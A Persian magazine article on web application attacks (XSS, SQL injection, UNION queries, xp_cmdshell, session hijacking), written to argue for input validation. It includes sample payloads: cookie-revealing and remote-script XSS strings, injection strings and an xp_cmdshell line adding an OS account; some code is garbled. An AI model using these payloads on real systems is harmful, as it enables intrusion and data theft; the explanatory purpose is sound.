جمعه, ۱۲ بهمن, ۱۴۰۳ / 31 January, 2025
مجله ویستا

حمله به برنامه‌های وبی


حمله به برنامه‌های وبی
میزان استفاده از برنامه‌های وبی برای مدیریت تجارت و جذب مشتری‌های جدید از طریق اینترنت در شرکت‌های مختلف در حال افزایش است،‌ و به این ترتیب بازار قابل توجهی برای متخصصین توسعه این گونه سیستم‌ها بوجود آمده است. مزیت اصلی در استفاده از تجارت مبتنی بر وب برای شرکت‌های مختلف در این است که می‌توانند با استفاده از حداقل امکانات پیام خود را به مشتریان بازار در سراسر دنیا برسانند. وب طیف مخاطبان وسیعی را پوشش می‌دهد، این نکته با وجودی که یک ایده‌آل تجاری است ولی می‌تواند اهداف شرکت را نیز به مخاطره بیندازد زیرا مشخص نیست که چه کسانی سایت شرکت را مشاهده می‌کنند.
بینندگان سایت علاوه بر شرکای تجاری و مشتریان می‌توانند کاربران بدخواهی باشند که با اهداف خراب‌کارانه در پی نفوذ به سیستم می‌باشند.در این مقاله نقاط آسیب پذیری رایج مورد بررسی قرار می‌گیرند و راه‌هایی که کاربران می‌توانند از طریق آن برنامه‌ها را تهدید کنند معرفی می‌شوند.بسیاری از برنامه‌های وبی اطلاعاتی را از کاربر دریافت می‌کنند و پس از پردازش این اطلاعات بر مبنای الگوریتم‌های خود نتایجی را تولید می‌کنند. به عنوان مثال برنامه یک فرم جستجوی ساده را در اختیار کاربر قرار می‌دهد که عبارت جستجو در آن وارد شده و پس از جستجو در پایگاه داده نتایجی تولید و برای کاربر نمایش داده می‌شود. این فرایند یک نمونه عملکرد بسیار رایج است که در بسیاری از برنامه‌های وبی مشاهده می‌شود.در صورتی که کاربری اهداف خراب‌کارانه داشته باشد ممکن است بتواند با وارد کردن یک عبارت جستجو ثبات و امنیت برنامه وبی را به خطر بیندازد.
این خطر به میزانی جدی است که حتی اگر زیرساخت امنیتی بسیار مستحکمی (به عنوان مثال فایروالی مناسب که همه حملات را متوقف کند) مورد استفاده قرار گرفته باشد ولی ورودی‌های کاربران مورد ارزیابی قرار نگیرد، تمامی‌ تلاشی که برای ایجاد زیرساخت امنیتی به کار گرفته شده است به هدر می‌رود.بنابراین طراحان سیستم باید این نکته مهم را در ذهن خود داشته باشند که همه ورودی‌های کاربران تا زمانی که از امن بودن آنها اطمینان حاصل نشده است، باید نامطمئن تلقی شوند. هکرها می‌دانند که برنامه‌ها چگونه ورودی‌ها را استفاده می‌کنند و چگونه می‌توان از آنها برای بهره‌گیری از نقاط آسیب پذیر سیستم بهره گرفت. بنابراین بهترین روش برای مقابله با این مشکل تایید اعتبار همه ورودی‌های کاربران است. هرچند که این فرایند باعث کاهش سرعت و کارآیی برنامه می‌شود ولی برای حفظ امنیت سیستم اجتناب ناپذیر می‌باشد.داده‌های نامطمئن از طرق مختلفی می‌توانند وارد سیستم شوند، که می‌توان به موارد زیر اشاره نمود:
· رشته‌های پرس و جوی URL
· فرم‌های HTML
· Cookieها
· پرس‌ و جوهایی که بر روی یک پایگاه داده انجام می‌شوند.
رشته های پرس و جو، فیلدهای اطلاعاتی فرم ها و Cookie ها را می توان قبل از پردازش اعتبارستجی نمود.حملاتی که در نتیجه استفاده از داده نامطمئن بر روی برنامه‌ و سایت وبی صورت می‌گیرند را می‌توان به شرح زیر خلاصه نمود:
●تزریق اسکریپت
این نوع حمله در صورتی اتفاق می‌افتد که با استفاده از یک باکس ورودی کاربر اقدام به ورود نشانه‌ها۲و یا کد اسکریپت خرابکارانه نموده باشد. این ورودی در پایگاه داده و یا در Cookie‌ها ذخیره می‌شود. چنین کدی می‌تواند به گونه‌ای طراحی شود که اثرات مختلفی داشته باشد و ممکن است عملکرد یک برنامه یا سایت اینترنتی را برای همه کاربران تحت تاثیر قرار دهد.وقتی یک مرورگر که اسکریپت‌های آن فعال است این کد را می‌خواند، کد ناخواسته اجرا می‌شود و اثرات خود را به جای می‌گذارد. نشانه‌هایی که در این روش قابل استفاده هستندشامل <script>، <object>، <applet> و <embed> می‌باشند.مثالی از این نوع حمله به صورت زیر است.
فرض کنید در یک صفحه وبی که لیستی از نام مولفین ارائه می‌دهد، فیلدی وجود دارد که می‌توان در آن نام‌های جدید را وارد نمود. این مثال فقط برای روشن شدن مطلب ارائه می‌شود ولی نمونه‌های زیادی وجود دارند که کاربر می‌تواند داده‌ای را وارد نماید. رایج‌ترین نمونه این صفحات، آنهایی هستند که کاربر می‌تواند از طریق آنها عبارت جستجویی را وارد کند.اگر کاربر عبارت زیر را به عنوان نام یک مولف وارد نماید اتفاق جالبی خواهد افتاد؛<script> alert(‘Script Injection’); </script>
در یک برنامه ضعیف این ورودی اعتبار سنجی نشده و به عنوان نام یک مولف وارد پایگاه داده می‌شود، بنابراین هر بار که لیست مولفین نمایش داده می شود کد JavaScript فوق اجرا می شود.در صورتی که این اسکریپت در پایگاه داده اضافه شود، هر بار که کاربری بخواهد لیست مولفین را ببیند چنین صفحه‌ای را خواهد دید:با بررسی اتفاقاتی که رخ داده مشخص می‌شود که اسکریپت وارد شده در صفحه، کد سمت سرور برنامه را تغییر نمی‌دهد.
آنچه که اتفاق افتاده تغییر محتوای پویای سایت است. با وجود عدم تغییر کد برنامه، باز این تزریق اسکریپت خطرناک است، زیرا اسکریپتی که وارد شده است به عنوان بخشی از محتویات سایت در مرورگر‌های کاربران اجرا می‌شود. کد اسکریپت وارد شده توسط همه کاربرانی که به سایت مراجعه می‌کنند رویت می‌شود.به طریق مشابه کاربر می‌تواند هر کد JavaScript دیگری را نیز به سایت تزریق نماید. به عنوان مثال:<script> location.href = ‘Malicious.html’; </script>
با درج عبارت فوق در پایگاه داده به عنوان نام یکی از مولفین هر گاه صفحه نام مولفین توسط کاربری مشاهده شود، کنترل مرورگر به صورت خودکار به صفحه Malicious.html انتقال داده می‌شود.(نشانه location که با یک آدرس URL‌ اشاره می‌کند، محتویات صفحه‌ای که آدرس آن در href معرفی شده است را در مرورگر بار می‌کند.)هکر در صفحه Malicious.html می‌تواند هر کاری انجام دهد. به عنوان مثال می‌تواند یک کنترل ActiveX و یا کد JavaScript را بر روی دستگاه کاربر بار کرده و اقدام به اجرای آن نماید، و یا تعدادی زیادی مرورگر جدید باز نموده و در هر یک از آنها یک سایت جدید را باز کند.●Scripting
این نوع حمله خیلی مشابه به حملات تزریق اسکریپت است و در مواقعی اتفاق می‌افتد که کد اسکریپت توسط صفحات پویای وب سایر سایت‌ها در مرورگر وب وارد شود. در این نوع حملات، هدف هکر خود سایت نیست، بلکه کاربران آن مد نظر می‌باشند. فرض کنید که یک سایت عبارات جستجو را با استفاده از مجموعه QueryString (در صورتی که برنامه با استفاده از فناوری .NET توسعه داده شده باشد) و از طریق متد HTTP Get دریافت می‌کند، و سایر سایت‌ها می‌توانند عبارات جستجو را با عبارت پرس و جوس Search ارسال کنند.
●YourSite.com?Search=asp.net
صفحه جستجو رشته پرس و جو را خوانده و در پایگاه داده به دنبال عبارت مورد نظر می‌گردد و در نهایت نتیجه جستجو را نمایش می‌دهد. در صورتی که داده‌ای متناسب با عبارت مورد نظر در پایگاه داده وجود نداشته باشد، پیامی مبنی بر یافت نشدن جواب تولید و نمایش داده خواهد شد.
در صفحه جستجو قالبی کد‌های زیر وجود دارند:
void Page_load(Object Src,EventArgs E)
{String sSearchStr="";
NameValueCollection ColQstr = Request.QueryString;
String[] qStrAry = colQstr.AllKeys; for (int i = ۰; i<= qStrAry.GetUpperBound(۰); i++)
{ if (qStrAry[i] == "search")
{String[] qStrAry = colQstr.AllKeys;for (int j = ۰; j<=qStrAryVal.GetUpperBound(۰); j++)
{ sSearchStr = qStrAryVal[j]; break;}
if (sSearchStr.Trim() != "")
{ if (SearchDataStore(sSearchStr) == false) lblResult.Text = "The search keyword " + sSearchStr + " did not produce any results. Please try again."}
bool SearchDataStore(String sSearchStr)
{/*Perform the search against the datastore and display the
result. if there are no results then return false.*/
return false;}
رویداد Page_Load پارامتر Search را در QueryString خوانده و مقدار آن را بازیابی می‌کند. سپس با فراخوانی متد SearchDataStore اقدام به بازیابی نتایج رشته جستجو می‌نماید. در صورتی که موردی در پایگاه داده یافت نشد مقدار بازگشتی این متد false خواهد بود. بعد از این فرایند رویداد Page_Load نتایج جستجو را نمایش می‌دهد (اگر بازگشتی متد true باشد رکوردهای یافت شده و در صورتی که false‌ باشد پیغام خطای مناسب). تا اینجا همه چیز روال عادی خود را طی می‌کند. حال فرض کنید یک کاربر و یا سایتی دیگر عبارت زیر را تایپ نماید:
Process.Aspx?Search=<script>alert(CSS Attack); </script>
رویداد Page_Load رشته پرس و جو را پردازش نموده و پیام زیر را نمایش می‌دهد:
به طریق مشابه، کاربر می‌تواند متن زیر را وارد نماید:
<a href="process.aspx?Search=<script>alert(document.cookie);</script>">Click here </a>
با کلیک لینک توسط کاربر، کنترل مرورگر به یک سایت دیگر منتقل می‌شود و تمام اطلاعات cookie های سایت اصلی در پنجره alert نمایش داده می‌شود. کد JavaScript از داخل حاشیه امنیتی دامنه فعلی اجرا می‌شود و بنابراین کد‌هایی قابل اجرا هستند که از خارج قابل اجرا شدن نیستند.به طریق مشابه امکان ارسال اطلاعات Cookie به یک سرور دیگر نیز وجود دارد.نوع دیگری از حملاتی که به این شیوه قابل انجام است بسیار پیشرفته‌تر است. فرض کنید یک سایت اطلاعات موجود در وب در مورد فناوری‌ را جمع‌آوری نموده و در اختیار کاربران خود قرار می‌دهد. در این سایت امکانی فراهم آمده است که کاربران می‌توانند آخرین اخباری را که از نظرشان جالب و مناسب سایت است را وارد نمایند. در صورتی که هیچ گونه اعتبارسنجی بر روی داده ورودی انجام نشود، با وارد شدن اطلاعات توسط کاربر، سیستم آن را در پایگاه داده خود ذخیره نموده و پیش‌نمایشی از آن را ارائه می‌دهد.در این ساختار راه نفوذ برای هکرها باز است و می‌توانند با وارد کردن متنی مانند زیر به اهداف خرابکارانه خود برسند:
News: Here is a Cross-Site Script Attack
URL: www.SomeSite.com/default.aspx?ID=<script اگر برنامه بدون اعتبار سنجی URL، آن را پذیرفته و در پایگاه داده وارد کند سایت و بینندگان آن در معرض حملات Cross-site قرار می‌گیرند. اگر متن اسکریپتی که وارد شده است مستقیما وارد پایگاه داده شده و از این پس به صورت هفتگی برای مشترکین ارسال شود، نتایج زیان باری حاصل می‌شود. هر کس که بر روی لینک خبر کلیک کند آدرس URL را در مرورگر خود مشاهده خواهد کرد و جاوا اسکریپت بیان شده در SRC نشانه script اجرا می‌شود.نمونه دیگری از این نوع حملات به این صورت انجام می‌شود که هکر به جای استفاده از متن به فرمت ASCII‌ یا Unicode از کد حروف hex‌ استفاده می‌نماید.
News: Here is a Croos-Site Script Attack
URL: http://۷۷%۲۰۷۷%۲۰۷۷%۲۰۲e%۲۰۵۳%۲۰۶f%۲۰۶d%۲۰۶۵%۲۰۷۳%۲۰۶۹%۲۰۷۴%۲۰۶۵%۲۰
۲e%۲۰۶۳%۲۰۶f%۲۰۶d/default.aspx?۳c%۲۰۵۳%۲۰۶۳%۲۰۷۲%۲۰۶۹%۲۰۷۰%۲۰۷۴%۲۰۲۰%۲۰
۷۳%۲۰۷۲%۲۰۶۳%۲۰۳d%۲۰۹۲%۲۰۴۴%۲۰۶f%۲۰۵۳%۲۰۷۴%۲۰۷۵%۲۰۶۶%۲۰۶۶%۲۰۲e%۲۰
۴a%۲۰۷۳%۲۰۹۲%۲۰۳e%۲۰۳c%۲۰۲f%۲۰۵۳%۲۰۶۳%۲۰۷۲%۲۰۶۹%۲۰۷۰%۲۰۷۴%۲۰۳e
حروف فوق در قالب ASCII‌ معادل
News: Here is a Cross-Site Script Attack
URL: www.SomeSite.com/default.aspx?ID=<script src;http://CssAttack.com/dostuff/js;></script>
می‌باشند.
با مشاهده موارد فوق مشخص می‌شود که اعتبار سنجی داده‌ها در زمان ورود اهمیت فوق‌العاده‌ای دارد. اسکریپتی که در URL‌ ارائه می‌گردد می‌تواند اعمال بسیار خطرناکی را انجام دهد که بستگی به قابلیت‌های زبان اسکریپت‌نویسی دارد. این اعمال شامل موارد زیر می‌باشند:
· ممکن است داده‌ها تحریف شوند، به عنوان مثال ممکن است محتویات یک cookie تغییر یابد.
· یکپارچگی اطلاعات به خطر افتد.
· اسکریپت‌هایی با اهداف خرابکارانه در محیط سایت‌های مطمئن اجرا شوند.
· Cookie ها مقدار دهی شده و یا اطلاعات آنها خوانده شود.
· ورودی‌های کاربران مورد استراق سمع واقع شود.
· کاربران به سایت‌هایی نامطمئن هدایت شوند.در بخش‌های پیشین از این مجموعه مقالات تعدادی از روش‌های حمله به برنامه‌های وبی معرفی شدند. در ادامه به روش‌هایی که با استفاده از آنها می‌توان به پایگاه داده سیستم نفوذ کرد اشاره می‌شود.
●تزریق SQL
به زبان ساده این نوع حمله وارد کردن کد SQL به یک برنامه است، در شرایطی که توسعه دهنده برنامه قصد آن را نداشته و یا حتی پیش‌بینی آن را نیز نکرده باشد. ریشه این نوع حملات به ساختار طراحی ضعیف برنامه برمی‌گردد و تنها در مورد برنامه‌هایی قابل انجام است که از روش‌های ساخت رشته های SQL بهره می‌گیرند.
به مثال زیر توجه کنید:Dim StrSQL as String = "SELECT CustomerID, CompanyName, ContactName, "- "ContactTitle FROM Customers WHERE CustomerID ;" txtCustID.Text ;"در عبارت فوق با استفاده از روش ساخت رشته به صورت پویا یک رشته SQL تولید می‌شود که CustomerID‌ ا مقدار موجود در txtCustID جایگزین می‌شود. در شرایط عادی کاربر شناسه خود را در Box وارد می‌نماید، برنامه اقدام به جستجو در پایگاه داده نموده و پس از آن نتایج برای کاربر نمایش داده می‌شود. به عنوان مثال اگر کاربر شناسه ALFKI را وارد نماید نتایجی که برنامه تولید می‌کند به شرح زیر خواهد بود:در چنین موردی کاربر می‌تواند در فرایند تولید عبارت SQL به گونه‌ای دخالت کند که پیام خطا دریافت نماید. اگر خطای تولید شده به درستی در برنامه مدیریت نشود و این پیام به صورت کامل در اختیار کاربر قرار گیرد، اطلاعات بیشتری در خصوص عبارت SQL‌ دراختیار کاربر قرار خواهد گرفت که مقدمه نفوذ به سیستم را فراهم می‌آورد. به عنوان مثال کاربر می‌تواند عبارت زیر را وارد نماید:
ALFKI; or CustomerID like;%
با توجه به اینکه هیچگونه اعتبار سنجی بر روی داده ورودی کاربر انجام نمی‌شود، عبارت ساخت رشته SQL عبارت زیر را تولید خواهد نمود که در پی آن اجرا هم خواهد شد:
SELECT CustomerID, CompanyName, ContactName, ContactTitle FROM Customers WHERE CustomerID =;ALFKI; or CustomerID like;در نتیجه اجرای این رشته SQL‌ علاوه بر اطلاعات کاربر با شناسه ALFKI، اطلاعات تمام کاربران موجود در پایگاه داده نمایش داده می‌شود. در صورتی که در پایگاه داده سیستم اطلاعات حساس شخص مانند شماره کارت اعتباری ذخیره شده باشد، این اتفاق می‌تواند منجر به بروز یک فاجعه شود.هکرها به روش دیگری نیز می‌توانند با تزریق SQL‌ به اطلاعات پایگاه داده دسترسی یابند. اگر رشته ALFKI; or ۱=۱ -- در صفحه وارد شود نتیجه‌ دقیقا مشابه حالت قبل خواهد بود. در این صورت رشته SQLتولید شده، به صورت زیر می‌باشد:SELECT CustomerID, CompanyName, ContactName, ContactTitle FROM Customers WHERE CustomerID = ;ALFKI; or ۱=۱ --
دو خط فاصله (--) استفاده شده در عبارت در MS SQL Server‌ مشخص کننده جملات توضیحات (Comments) هستند. این کار در My SQL‌ با نماد (#)‌ و در اراکل با نماد (;)‌ انجام می‌شود. هکر قادر است هر رشته‌ای را در صفحه وبی وارد نماید، و در صورتی که اعتبار سنجی مناسب انجام نشود، بالقوه سایت در معرض خطرات فراوانی خواهد بود.
●حمله SQL Union
برای دریافت اطلاعات بیشتر در مورد سرور حمله کنندگان به سایت می‌توانند از عبارت Union استفاده نمایند. با وجودی که این نوع حمله بسیار سخت‌تر بوده و دشواری‌های خاص خود را به همراه دارد، ولی با این وجود غیر ممکن نیست. مهمترین محدودیت این نوع حمله در این است که هر دو عبارت پرس و جو باید یک تعداد ستون‌های یکسانی را برگردانند و نوع داده ستونهای هر دو عبارت پرس و جو باید با هم سازگار باشند. این مسئله باعث می‌شود که حمله Union دشوارتر از سایر روشها باشد ولی با چند بار تلاش هکر می‌تواند موفق به گرفتن اطلاعات مورد نیاز خود شود. به عنوان مثالی از این نوع حمله فرض کنید هکر عبارت زیر را وارد می‌نماید:
ALFKI; union select @@Servername --
در این صورت رشته SQL‌ زیر تولید خواهد شد:SELECT CustomerID, CompanyName, ContactName, ContactTitle FROM Customers WHERE CustomerID = ;ALFKI; union select @@Servername ;این رشته منجر به تولید یک خطا در سمت سرور می‌شود و با توجه به مکانیزم کنترل خطا، احتمالا پیام تولید شده به کاربر نمایش داده می‌شود. در هر صورت هکر چند بار تلاش به شرح زیر انجام می‌دهد:ALFKI; union select @@Servername, @@Servicename, @@Version --
ALFKI; union select @@Servername, @@Servicename, @@Servicename, @@Version --با چندین بار تکرار و سعی و خطا بالاخره هکر می‌تواند به هدف خود رسیده و تعداد ستون‌هایی که توسط عبارت SQL برگردانده می‌شود را کشف نماید. با این کشف کنترل بیشتری بر روی عبارت union بعدی که نوشته می‌شود بوجود می‌آید. ورودی فوق عبارتی به شکل زیر تولید می‌کند:SELECT CustomerID, CompanyName, ContactName, ContactTitle FROM Customers WHERE CustomerID = ;ALFKI; union select @@Servername, @@Servicename, @@Servicename, @@Version --با توجه به اینکه عبارت فوق یک عبارت معتبر SQL است، لذا SQL Server آن را اجرا نموده و مقادیر نتیجه را برای صفحه ASP.NET برمی‌گرداند.این خروجی اطلاعات ذیقیمتی در ارتباط با سرور شامل نام سرور، نام سرویس، نسخه سرور، سرویس پک و نسخه سیستم عامل را در اختیار هکر قرار می‌دهد.●حملات پیشرفته تر
در حملاتی که تا اینجا مورد بررسی قرار گرفتند، یک SQL ساده به برنامه تزریق می شد. در صورتی که تدابیر لازمه اندیشیده نشود همه پایگاه های داده در برابر این نوع حملات آسیب پذیر هستند. به عنوان یک واقعیت همه سیستم های مدیریت پایگاه داده نقاط ضعف و قوت خاص خود را دارند و بنابراین امکان نفوذ به آنها برای مهاجم ها در هر زمانی وجود دارد.یکی دیگر از حملات که از موارد قبلی پیشرفته تر است اجرای دستورات خارجی سیستم عامل می باشد از درون محیط سیستم مدیریت پایگاه داده است. به عنوان مثال SQL Server به کاربران اجازه می دهد که با استفاده از روال ذخیره شده۱ xp-cmdshell دستورات خارجی سیستم عامل را اجرا کند.برای بهره گرفتن از این قابلیت کاربر می تواند در بخش ورود اطلاعات صفحه وب متن زیر را وارد نماید:;exec master..xp-cmdshell;net user HackUser Mypassword /ADD;--
در این صورت برنامه کاربردی عبارت SQL زیر را ساخته و آن را به SQL Server ارسال می نماید:SELECT CustomerID, CompanyName, ContactName, ContactTitle FROM Customers WHERE CustomerID =;exec master..xp-cmdshell ;net user HackUser Mypassword /ADD;--
SQL Server با این عبارت Sql به عنوان دو دستور مجزا که به صورت دسته ای صادر شده اند برخورد می کند. این دو دستور به صورت زیر هستند:SELECT CustomerID, CompanyName, ContactName, ContactTitle FROM Customers WHERE CustomerID =;exec master..xp-cmdshell;net user HackUser Mypassword /ADD;--SQL Server در ابتدا عبارت Select را اجرا نموده و سپس دستور سیستم عامل را اجرا می نماید که در نتیجه آن کاربر HackUser با گذرواژه MyPassword به SAM ۲ محلی افزوده می شود و از ادامه عبارت SQL به دلیل اینکه پس از عبارت توضیح (--) آمده است صرف نظر می شود. در صورتی که برنامه کاربردی با اختیارات مدیر سیستم در حال اجرا باشد این دستور بدون هیچ مشکلی اجرا می شود. به عنوان مثال کاربری مانند sa که برای اهراز هویت در SQL Server به کار می رود دارای اختیارت کافی برای ایجاد کاربر جدیدی با عنوان HackUser می باشد.این گونه حملات برنامه هایی را هدف قرار می دهند که مدیریت ارتباطات کاربران به خوبی در آنها انجام نمی شود و نقاط ضعفی در این فرایند وجود دارد. پروتکل HTTP ذاتاً برای ارسال گسسته اطلاعات از سرور به سمت سرویس گیرنده طراحی شده است. در این شرایط هر برنامه ای که برای ارائه خدمات خود ناچار به نگه داری سابقه فعالیت هایی که کاربر بر روی سایت انجام داده باشد، باید بر این چالش غلبه کرده و پیام های گسسته را به یک نشست پیوسته تبدیل نماید. راه حل هایی که برای این مسئله ارائه می شوند همه در لایه کاربرد هستند و مستقل از وب سرور می باشند.طبعا مشابه همه کد نویسی ها ممکن است مدیریت نشست با امنیت بالا پیاده سازی شود و یا ضعف هایی در پیاده سازی وجود داشته باشد، که این به معنای وجود نقاط آسیب پذیر در برنامه می باشد. خطراتی که در چنین شرایطی برنامه و سرمایه های سایت را تهدید می کند به دو دسته کلی زیر قابل تقسیم بندی هستند:
●افزایش افقی اختیارات
در این نوع حملات کاربر قادر است به گونه ای نشانه[۲] نشست را مورد استفاده قرار دهد که اطلاعات و قابلیت های کاربر دیگری در دسترسش قرار گیرد. برای انجام این نوع حملات هکر باید در گروه کاربر قربانی عضو باشد. در صورت وقوع این نوع حملات اطلاعات افشا می شود، ولی ساختار دسترسی مبتنی بر نقش[۳] در سیستم حفظ می شود.
●افزایش عمودی اختیارات
هکر با استفاده از نشانه نشست به اطلاعات و مجوزهای کاربری با حقوق بالاتر دسترسی می یابد. قربانی در این نوع حملات حقوقی بالاتر از فرد حمله کننده دارد و بنابراین علاوه بر امکان دسترسی هکر به اطلاعات کاربر امکان تغییر آن ها و انجام اعمالی که مجوز مدیریتی لازم دارند نیز فراهم می آید.در نتیجه این نوع حمله اطلاعات شخصی کاربران فاش شده، امکان دزدی خدمات، اطلاعات کارت های اعتباری، ارسال هرزنامه و رد سرویس[۴] بوجود می آید.
حمله به مدیریت نشست فرایندی ۴ مرحله ای است:
●یافتن حامل حالت[۵]
در این مرحله باید محل ذخیره سازی نشانه ها شناسایی شود. برای این کار کوکی های Stateful، کوکی های نشست، پارامتر های URL و فیلد های مخفی بررسی شوند.
●رمزگشایی اطلاعات حالت
پس از یافتن حامل حالت (نشانه نشست) باید مشخصات آن استخراج شوند. با استفاده از روش های تحلیل نشانه باید مشخص شود که آیا بخش هایی از نشانه کد شده است یا خیر؟ وجود برچسب های زمانی و سایر الگوهایی که نمونه هایی از آنها در جدول زیر ارائه شده اند تشخیص داده شود. آیا مقادیر به صورت تصادفی تولید می شوند و یا قطعی هستند؟
●استفاده مجدد از اطلاعات حالت
بدون توجه به امکان رمزگشایی حامل حالت، باید اطلاعات حالت چند کاربر را گرفت. با جایگذاری نشانه های سایر کاربران می توان محدودیت هایی را که سیستم در برابر نشست های غیرمعتبر ایجاد می کند شناسایی نمود.
●تغییر اطلاعات حالت
در صورتی که امکان رمزگشایی حامل باشد می توان با تغییر آن نشست کاربر دیگر را ربوده و یا استراق سمع نمود. با تغییر اطلاعات حالت می توان حقوق بیشتری به دست آورد.
منبع : خبرگزاری جمهوری اسلامی